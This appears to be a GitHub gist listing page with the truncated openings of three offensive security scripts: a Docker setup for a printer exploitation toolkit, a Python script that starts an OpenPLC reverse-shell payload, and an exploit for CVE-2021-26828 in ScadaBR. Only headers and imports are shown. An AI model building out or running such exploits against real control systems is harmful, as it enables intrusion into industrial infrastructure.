This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# usage: docker compose run --rm pret | |
services: | |
pret: | |
image: python:2.7 | |
volumes: | |
- ./share:/share | |
command: > | |
/bin/bash -c " | |
apt update |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import requests | |
import argparse | |
from time import sleep | |
g_openplc_revsh = ''' | |
#include "ladder.h" | |
#include <stdio.h> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
import requests | |
import argparse | |
import time | |
import sys | |
def parse_args(): | |
parser = argparse.ArgumentParser(description="Exploit for CVE-2021-26828 in ScadaBR 1.0 ~ 1.1 CE.") |